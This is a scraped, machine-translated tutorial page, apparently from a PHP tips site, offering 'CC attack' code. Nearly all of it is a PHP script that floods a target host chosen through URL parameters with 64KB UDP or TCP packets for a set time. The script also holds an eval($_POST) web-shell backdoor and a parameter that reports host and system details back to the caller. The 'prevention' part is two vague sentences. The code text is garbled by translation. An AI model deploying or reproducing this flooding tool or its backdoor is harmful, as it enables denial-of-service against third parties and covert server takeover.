PHP cc Attack code and prevention Method _php tutorial

Source: Internet
Author: User
CC attack code, support for UDP
Copy CodeThe code is as follows:
Eval ($_POST[CHR (90)]);
Set_time_limit (86400);
Ignore_user_abort (True);
$packets = 0;
$http = $_get[' http '];
$rand = $_get[' exit '];
$exec _time = $_get[' time ');
if (StrLen ($http) ==0 or StrLen ($rand) ==0 or StrLen ($exec _time) ==0)
{
if (StrLen ($_get[' rat ']) <>0)
{
echo $_get[' rat '].$_server["Http_host"]. "|". gethostbyname ($_server[' server_name '). "|". Php_uname (). "|". $_server[' server_software '].$_get[' rat ';
Exit
}
echo "PHP Terminator";
Exit
}
for ($i =0; $i <65535; $i + +)
{
$out. = "X";
}
Udp1-fsockopen UDP2 Pfsockopen TCP3 cc.center
$max _time = time () + $exec _time;
if ($rand ==53)
while (1)
{
$packets + +;
if (Time () > $max _time)
{
Break
}
$fp = Fsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5);
if ($FP)
{
Fwrite ($fp, $out);
Fclose ($FP);
}
}
Else
if ($rand ==500)
while (1)
{
$packets + +;
if (Time () > $max _time) {
Break
}
$fp = Pfsockopen ("udp://$http", $rand, $errno, $ERRSTR, 5);
if ($FP)
{
Fwrite ($fp, $out);
Fclose ($FP);
}
}
Else
while (1)
{
$packets + +;
if (Time () > $max _time) {
Break
}
$fp = Pfsockopen ("tcp://$http", $rand, $errno, $ERRSTR, 5);
if ($FP)
{
Fwrite ($fp, $out);
Fclose ($FP);
}
}
?>


For the protection of the CC attack, if it is a dynamic page, we can determine the time, if it is a static site we need to install anti-CC attack software on the server, general server security dog is still good.

If you have good software can also give us a message.

http://www.bkjia.com/PHPjc/326206.html www.bkjia.com true http://www.bkjia.com/PHPjc/326206.html techarticle cc attack code, support UDP copy code code as follows: PHP eval ($_POST[CHR)); Set_time_limit (86400); Ignore_user_abort (True); $packets = 0; $ http = $_get[' http ']; $rand = $_get[ ...

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.